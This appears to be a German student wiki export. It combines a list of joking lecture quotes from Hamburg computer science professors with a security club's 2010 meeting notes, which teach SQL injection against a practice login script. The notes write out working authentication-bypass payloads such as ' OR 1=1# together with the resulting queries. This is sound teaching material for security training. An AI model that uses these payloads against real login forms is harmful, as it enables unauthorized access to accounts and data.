-- Bernd Wolfinger, Verteilte Systeme

Die Mathematiker glauben dem Computerprogramm zum 4-Farben-Problem nicht. -
Die Informatiker nicht den mathematischen Beweis.
-- Jantzen, TGP

Die Petrinetz-Leute haben ihre Muttern. Ich muß mich mit Kreidestücken
zufriedenstellen.
-- Bernd Wolfinger, RoRa

Man kann auch ausrechnen, daß ein Bild mehr als 1000 Worte hat.
-- Leonie Dreschler-Fischer in Computergrafik

Der Mathematiker tobt sich weit ab jeder realen Welt aus.
-- Bernd Wolfinger, HSOE II

Bei den Mathematikern dauert es immer etwas länger - von den Grundlagen bis
zur Entwicklung der Anwendung 130 Jahre.
-- Christopher Habel, KI

Wenn die Geschindigkeitssteigerung im Autoverkehr in den letzten 20 Jahren
genauso groß wie im Datenübertragungsbereich gewesen wäre, könnten wir in
zwei Sekunden um die Erde fahren.
-- Bernd Wolfinger, Verteilte Systeme

Die GKSS macht keine Kernforschung mehr, sie strahlt nur noch vor sich hin.
-- Bernd Page, Umweltinformatik II

Brunnstein macht einen uralten Pentium-Witz. Allgemeines Gestöhne.
Brunnstein: Also gelegentlich müßen Sie meine dämlichen Witze ertragen.
... Und es gehört zum guten Ton, daß Sie dann lachen.

Man kann mit den (Petri-)Netzen nicht nur formale, algebraische Dinge tun,
sondern auch etwas nützliches.
-- Horst Oberquelle im ASI[[/SWT]]-Oberseminar

Christopher Habel: Diese Lehrveranstaltung wird es dann im WS 76/77 geben.
Studis: ??!!
Habel: Oh, ... 96/97 - ich wußte, es war eine ungerade Zahl!

Ein-Uhr-Systeme sind keine Systeme, in denen es nur eine Uhr gibt, die
immer ein Uhr zeigt...
-- Bernd Wolfinger, Verteilte Systeme

Und Ihr visueller Kortex sieht jetzt diese hier: [...]
Und dann kratzt er sich am Kopf und fragt sich, ob das vorne oder hinten ist.
-- Leonie Dreschler-Fischer, Computergrafik I

Nicht immer ist es gleich so gut, wie man möchte, daß es wird.
-- Matthias Jantzen, TGP

Die KI-ler versprechen viel und es kommt wenig raus. - Dann verspreche
ich lieber - wie die Mathematiker - wenig und in der Forschung kommt viel
bei raus.
-- Matthias Jantzen, TGP

Nicht primitiv-rekursiv zu sein, ist für einen Algorithmus eine Schande.
-- Matthias Jantzen, TGP

Daß ich Kreidestücke benutze, wissen Sie ja schon.
-- Bernd Wolfinger, Dü

Mist, jetzt hab' ich schon wieder das Gehirn im Büro vergessen.
-- Siegfried Stiehl, Bildverarbeitung in der Radiologie

Das lernt man ja schon von den Westerhelden im Film: Erst schießen,
dann fragen. Hier meldet man den Anspruch zuerst an, dann fragt man sich,
ob man auch wirklich in den kritischen Abschnitt darf!
-- Martin Lehmann, Betriebs- und Systemprogrammierung

Wir sind von der Situation, daß der Präfix vorne steht, noch weit entfernt.
-- Christopher Habel, Mathematische Logik

Man hört die Skolemkonstanten schon um die Ecke kommen.
-- Christopher Habel, ML

Ich hab da noch ein Skript in der Bibliothek - aber ich würd Ihnen das
wirklich nicht empfehlen.
-- Arno Rolf, AIS

Allen hat die Probleme nicht gelöst, sondern sie nur unter den Teppich
gekehrt. Wenn die Welten gutartig sind, bleiben sie auch drunter, aber wenn
die Welten bösartig sind, kommen sie wieder hervorgekrochen!
-- Christopher Habel, Repräsentation von Wissen über Raum,
Zeit und Situationen.

Das Rechensystem sollte nicht dafür verantwortlich sein, daß der Reaktor
ab und zu mal hochgeht.
-- Bernd Wolfinger über Sicherheit, Leistungsanalyse

Banken, Versicherungen und normale Unternehmen...
-- Klaus Brunnstein, InfoSecII

Das war mir nicht klar, daß es Ihnen nicht klar war; aber jetzt ist es mir
klar geworden.
-- Rüdiger Valk, TGP

Die Schlüssel sind sicher nicht benutzt worden, um Fenster einzuschlagen.
-- Horst Oberquelle, Info-Veranstaltung zum Einbruch Ostern 1998

TGP 14.5.98, Thema: Paradox von Berry:
Frage: Können Sie mir das noch mal ausführen? Das erschließt sich mir noch
nicht ganz.
Valk: Ja, mir auch nicht. Ich wollte das eigentlich nur vorlesen.

Und jetzt kommt... ja, haha... das kommt eben nicht!
-- Martin Lehmann, Compilerbau

Ein Gatter, ja so'n Dingsbums, da geht was rein und da kommt was raus.
-- Thomas Andreae, M1

Nach dem Hinweis eines Studenten auf einen Fehler auf einer Folie:
Oh, ja, das ist falsch. Uh, uh!
Das ging so schön schnell mit dem Lineal, das ging schnell, dann war ich
fertig und dann war es falsch.
-- Matthias Jantzen, F1

Ich hatte 'mal einen männlichen Sekretär. Das war sehr lustig, da er
immer Post mit der Anrede Frau bekommen hat, und ich mit Herr Floyd
-- Frau Floyd Einführung in die SWT

Wir werden ja nächstes Mal diese fünf Philosophen zusammenfalten...
-- Rüdiger Valk, TGP (im Philosophenturm!)

Das wird dann ungefähr so sein, daß im ersten Semester A drei halbe
dran ist...
-- Rüdiger Valk (TGP) über die neue Studienordnung

Da muß man aufpassen, daß dann Ihr Windows95 nicht alle 3 Tage
abstürzt, und vorher war es nur alle 10 Tage...
-- Klaus von der Heide, ME1

Anmerkungen: Erstens ... und Eins-B (damit ich meine Anmerkungen nicht
verbrauche) ... Zweitens ... Drittens ...
-- Christopher Habel, Oberseminar WSV

"Wie ich immer sage: Man schreibt seine Spezifikation auf,
macht Klammern drum, und dann läuft das."
-- Ralf Möller (über Lisp)

"Können alle da hinten nichts hören, oder nur die, die eine
Mütze aufhaben?"
-- Bernd Wolfinger über den Zwischenruf "ich kann nichts hören",
Informatik B3

Wenn ihnen meine Scherze nicht passen, protestieren sie besser!
-- Jantzen (A3) über die ausbleibende Reaktion auf einen Witz.

Die Tafel ist ein bischen langsam!
-- Hübner (Stochastik) drückt auf den falschen Knopf der
Tafelsteuerung. Während er wartet daß die Tafel
heruntergefahren kommt, fährt diese in Richtung Decke.

Das Bottom-Up-Verfahren geht ungefähr anders vor.
-- Matthias Jantzen über Compilerbau. Informatik A3

Rüidiger Valk im FBR: ... aber das ist doch nun noch formaler!
Heinz Züllighoven: Aha, für die Theoretiker gibt es also von
formal noch eine Steigerungsform!

Diese Problem hatten auch die Griechen - und noch davor die Römer.
-- Matthias Jantzen, F1

Eine gute Idee erkennt man daran, daß man auf Typenprobleme bei Java trifft.
-- Leonie Dreschler-Fischer, P1

Man müßte vielleicht eine Vorlesung nehmen, die etwas bringen würde.
-- Christiane Floyd, FBR, über einen Ergänzugsfach-Plan

Das ist eindeutig, bis auf Zufälligkeiten.
-- Bernd Wolfinger, OSem

Sie sind ein nutzloser Vertreter."
-- Rüdiger Valk im FBR zu Siegfried Stiehl (der sich zum
stellvertretenden Mitglied des [[PromA]] wählen ließ)

Logik schadet nicht!
-- Christiane Floyd

Das ist ein Handschuh, den man über die Hand streifen kann...
-- Werner Hansmann, Computer Grafik 1 über data gloves

Die Annahme, daß das Papier büroloser wird, ist falsch!
-- Klaus Brunnstein

Frau Elmer wüßte es, wenn sie noch hier wäre
-- Horst Oberquelle

Das hängt davon ab, ob jemand das große, das kleine oder das gar kein
Latinum hat.
-- Siegfried Stiehl

Wir kommen nicht daran vorbei, uns heute um diesen Punkt herumzudrücken!
-- Christiane Floyd, FBR

Heute haben wir 1997, glaube ich.
-- Werner Hansmann

Das ist theoretische Informatik. Die ist gottgegeben - oder Turing...
-- Klaus Brunnstein in InfoSecII

Ich bin ein interaktiver Mensch.
-- Christiane Floyd, Einführung in die Softwaretechnik

Karl Kaiser: Wenn einer weiß, was 'ne Kosten- und Leistungsrechnung ist...
D.P.F. Möller: ... dann darf er jetzt gehen!
-- OberSeminar Technikorientierte Informatik

Selten. Also meistens gar nicht!
-- Rüdiger Valk, FBR, auf die Frage, wie oft der
Habilitations-Ausschuß tagt

Das Beispiel können wir jetzt komplifizieren ... komplexer machen...
-- Klaus Brunnstein, AIS

Es ist schon faszinierend, was ein Mensch so fertigbringt, ist aber
größtenteils nutzlos.
-- Klaus von der Heide, T1, zum Thema Kopfrechnen

Da malt man sich so unsaubere Kartoffel-Eier hin!
-- Matthias Jantzen, F1, über Venn-Diagramme

Er denkt darüber nach, ob er es verstehen wird.
-- Christopher Habel, FBR

Dies gilt nur in imperativen Sprachen wie C, Modula oder Miranda
-- Matthias Jantzen, F1

Ich nehme besser geblümtes: Da denkt der Pförtner nicht, es wäre gestohlen!
-- Leonie Dreschler-Fischer, P1, bei der Demonstration von
Listenoperationen mit Klopapier

Der Rechner schaltet sich in den Sleep-Modus... Er hat sich sozusagen Ihnen
angeglichen.
-- Guido Gryczan, EST

Unter den theoretischen Kollegen, die ich kenne... also, unter den
theoretisch orientierten Kollegen, die ich praktisch kenne...
-- Christiane Floyd, FBR

Wir haben uns dafür entschieden, einen Geigenbauer einzustellen.
-- Christiane Floyd, FBR

Die ökonomische Ressource Wolfinger ist bei der Prüfungsorganisation zu
berücksichtigen.
-- Klaus Brunnstein, FBR

In der linken oberen Ecke des Hauptstudiumsarchitekturblockschaltbildes...
-- Bärbel Mertsching, FBR

Haut doch denen, die reden, eins auf die Rübe!... - Mir nicht!
-- Rainer Lang, F3, als laute Studenten die Vorlesung stören

Sie sehen ja schon, wie der Braten riecht.
-- Bernd Neumann, P3

... alle Hamburger, gepaart mit allen Hamburger Hunden...
-- Bernd Neumann, P3, über relationale Datenbanken

Nicht so einfach, eine Funktionseinheit abzustellen.
-- Rüdiger Valk, MfR, nach wiederholtem Handy-Klingeln

Seminararbeiten sind schriftliche Leistungen. Nicht schriftlich
wie Klausuren, sondern mit Nachdenken und Literatursuchen.
-- Christiane Floyd, FBR

Für einen Tagesordnungspunkt "Mitleid" haben wir heute keine Zeit.
-- Leonie Dreschler-Fischer, FBR

Semantik bedeutet also Bedeutung von Daten.
-- Bernd Neumann, P3

In dem Artikel steht auch ein Beweis drin, aber der ist mehr als wenig.
-- Rüdiger Valk

Statistik ist die Wissenschaft der systematischen Lüge.
-- Klaus Brunnstein, InfoSec

Dann wäre ich sehr dafür, zu beschließen, keinen Beschluß zu fassen.
-- Leonie Dreschler-Fischer, FBR

Man kann sich nicht dagegen schützen, etwas weniger zu werden im
Laufe der Zeit.
-- Martin Lehmann)

Schön, wenn die Theoretiker auch mal recht behalten.
-- Matthias Jantzen

Ich hoffe mal, sie steckt im Stau...
(über nicht erscheinende Referentin im Kolloquium)
-- Walther von Hahn

Ich freu mich auf ein Wiedersehen in der Prüfung. Damit sind wir am Ende.
-- Bernd Neumann, letzte P3-Vorlesung

Wir sind endlich dabei, die Grundlagenveranstaltungen festgeklopft zu haben.
-- Christiane Floyd

Das sind dann null bis eins, wenn man negative Zahlen nicht zulassen will...
-- Michael König über die Anzahl von Leistungsnachweisen

Leider wissen wir nun, welcher Algorithmus das [Richtige] tut!
-- Rainer Lang, F3

Samuels und Shannon waren damals schon in den 50ern, die haben es nicht
durchgehalten.
-- Christopher Habel, über die Begründer der KI

Ich glaube wir sollten die Vergangenheitsbewältigung beenden und uns
wieder auf die Beschlußvorlage kümmern"
-- Leonie Dreschler-Fischer, FBR

Bernd Wolfinger: Einer geschenkten Gäulin...
Siegfried Stiehl: Einer geschenkten Stute schaut man nicht in die Schnute.
-- Der FBR auf der Suche nach der weiblichen Form eines bekannten Sprichwortes

Das ist nur noch eine Sache von wenigen Stunden oder Jahren.
-- Christopher Habel, FBR

Man schmeißt alle Politiker in einen Topf und hat die Entitätsmenge
Politiker. Man kann sie auch nach Parteien unterscheiden. Dies ist
aber unerheblich.
-- Bernd Neumann, P3

Guter Stil ist, glaube ich,...
-- Bärbel Mertsching, STH, nachdem sie gerade S.Stiehl zitiert hatte

Dann können Sie alle einen großen Schluck aus der Datenbank-Pulle nehmen...
-- Oberquelle, als noch Hoffnung bestand, die GrIS-Professur schnell zu besetzen

Wir machen hier nichts, was wir spaeter gebrauchen koennten.
-- Matthias Jantzen (AuK)

Schieben Sie mal ein unendliches Wort so, dass es richtig auf dem Schreibtisch liegt.
-- Matthias Jantzen (AuK)

Gehen sie immer davon aus, dass dort, wo sie hinkommen, immer die Programmiersprache genutzt wird, die 1. Sie nicht können, 2. die Funktion, die Sie am dringendsten brauchen, nicht hat. -- Matthias Jantzen, 05.11.2009 (AuD)

Sehen Sie, wenn Sie dreimal durch eine Prüfung fallen, dürfen Sie dieses Modul nie wieder belegen. Sie werden lebenslänglich bestraft. Wenn Sie allerdings angekifft Ihre Omma abstechen kriegen Sie nur 10 Jahre.
-- H.J. Bandelt (DM, 20.10.2010)

[[Kategorie:Lästern]]

CInsects/Protokolle/CInsects:Treffen-2010-10-19

2010-10-21T07:01:07Z

0rokita: zweites angrifszenario (IKON ist langweilig....)

Heute haben wir uns überwiegend mit SQL-Injections beschäftigt.

== SQL-Injections ==
=== Algemeines zu SQL ===

Ein einfacher SQL befehl hat die struktur:

SELECT * FROM tabelle WHERE spalte='text'

mit AND und OR können mehrere bedingungen verknüft werden.

Wenn unsere Datenbank z.B. eine Tabelle user enthält in welcher die Daten zu den Usern gespeichert sind, und der Name des Users in der Spalte 'username' steht, kann man z.B. mit

SELECT * FROM user WHERE username='Bob'

alle verfügbaren Informationen zu Bob abgeruffen werden. Die anführungszeichen um Bob sind ganz wichtig da MySQL es sonst nicht als Zeichenkette sondern als nahmen einer Spalte versteht. Wenn man jetzt noch ein Passwort überprüfen will und als rückgabe nur die ID des Users braucht sieht das so aus:

SELECT userID FROM user WHERE username='Bob' AND password='blub'

=== Erste Angriffe ===

Unser erstes Angriffsziel war ein einfaches, ungesichertes Loginscript welches als eingabe den Usernamen und ein Passwort abfragt. Beim Anmeldeversuch wurde, um den angriff zu vereinfachen der verwendete SQL-Befehl angezeigt. Wenn anstat eines Passwortes ein Hochkomma (') eingegeben wurde konnte man gleich sehen das dies zu einem Fehler führt. Das liegt daran das durch die Eingabe im SQL am ende 3 hochkomata sind. Die Zeichenkette des Passwortes geht dann bis zum zweiten ' das einzelne ' am ende ist zuviel und wird nicht wieder geschlossen. Außerdem darf an dieser stelle keine Zeichenkette mehr stehen da sie "Frei im raum" schwebt. Die Kunst des angriffes besteht jetzt darin die Eingabe so zu wählen das dass SQL noch Korrekt ist, uns aber trotzdem einen User zurückliefert so dass wir eingeloggt werden. Am einfachsten ist es am ende einen Wahren vergleich mit OR anzuhängen damit die ganze bedingung wahr wird. Da wir am Ende noch ein ' der Orginalen Abfrage öberhaben ist es am einfachsten z.B. 'a' zu nehmen. Daher geben wir bei Passwort

' OR 'a'='a

ein. Das wird vom Server dann zu

SELECT user_ID FROM user WHERE username=' ' AND passwort=' ' OR 'a'='a'

was immer ein ergebnis zurückgiebt (solange es überhaubt einen User gibt) da a=a immer whar ist, und durch das OR der rest dann egal wird.

=== Ein weiterer Angriff ===

Das Formular welches wir für den zweiten Angriffsversuch benutzt haben, sah auf den ersten blick sehr gleich zu unserem Ersten ziel aus. Wenn man daten eingegeben hat (z.B. Bob und Blub) Wird der SQL-Befehl:

SELECT user_ID FROM user WHERE username='Bob' AND passwort='4567RFGHZUr578f6578GFUZI76875edut'

hier können wir sehen das aus dem Passwwort Blub eine verschlüsselte Zeichenkette wird, wir können es also nicht für unseren angriff benutzen. Also muss der Username herhalten. Wenn wir jezt wieder mit dem gleichen Angriff wie bei dem ersten verwenden wollen, gibt es ein problem da am ende noch ein AND steht mit dem passwort dahinter. Jetzt währe es gut wenn wir den rest der Zeile einfach Ignorieren können, dann brauchen wir uns um das ende keine gedanken mehr zu machen. in MySQL bedeutet das zeichen # das der rest der Zeile ein Kommentar ist. Damit können wir einen neuen Angriff formulieren:

' OR 1=1#

Das wird jetzt zu einem SQL befehl:

SELECT user_ID FROM user WHERE username =' ' OR 1=1# ' AND passwort='dr67uue456zre456ugf'

Alles nach dem # wird ignoriert. 1=1 ist immer wahr und da es mit OR verknüpft ist ist die ganze bedingung immer wahr und die Datenbank liefert ergebnisse. wenn wir uns jetzt als ein spezieller User einloggen wollen dann geht es mit:

Bob'#

das wird zu:

SELECT user_ID FROM user WHERE username='Bob' # AND passwort='...'

die ganze bedingung ist also das der username Bob ist, der rest wird ignoriert, wir haben also das Passwort umgangen.

=== Etwas schweriger ===
auch hier werde ich die Tage weiterschreiben

=== UNION SELECT ===

Schreibe ich die Tage --[[Benutzer:0rokita|Nils]] 21:11, 20. Okt. 2010 (CEST)

== Sonstiges ==
* Der nächste Termin wird noch bekanntgegeben
* Für Kekse ist gesorgt
* Wir werden uns die nächsten paar Wochen mit Websicherheit beschäftigen
** Nächstes mal werden wir Blind SQL-Injection machen

== Links ==

[http://sqlinj.cinsects.de/ Testumgebung] laueft nur, wenn man vorher 8pridoeh anschreibt.

[http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet] Tipps und Tricks zu SQL Injections

CInsects/Protokolle/CInsects:Treffen-2010-10-19

2010-10-20T19:11:31Z

0rokita: viel mehr Inhalt

CInsects

2010-10-20T05:48:56Z

0rokita: aktuelles programm, termin ist vergangen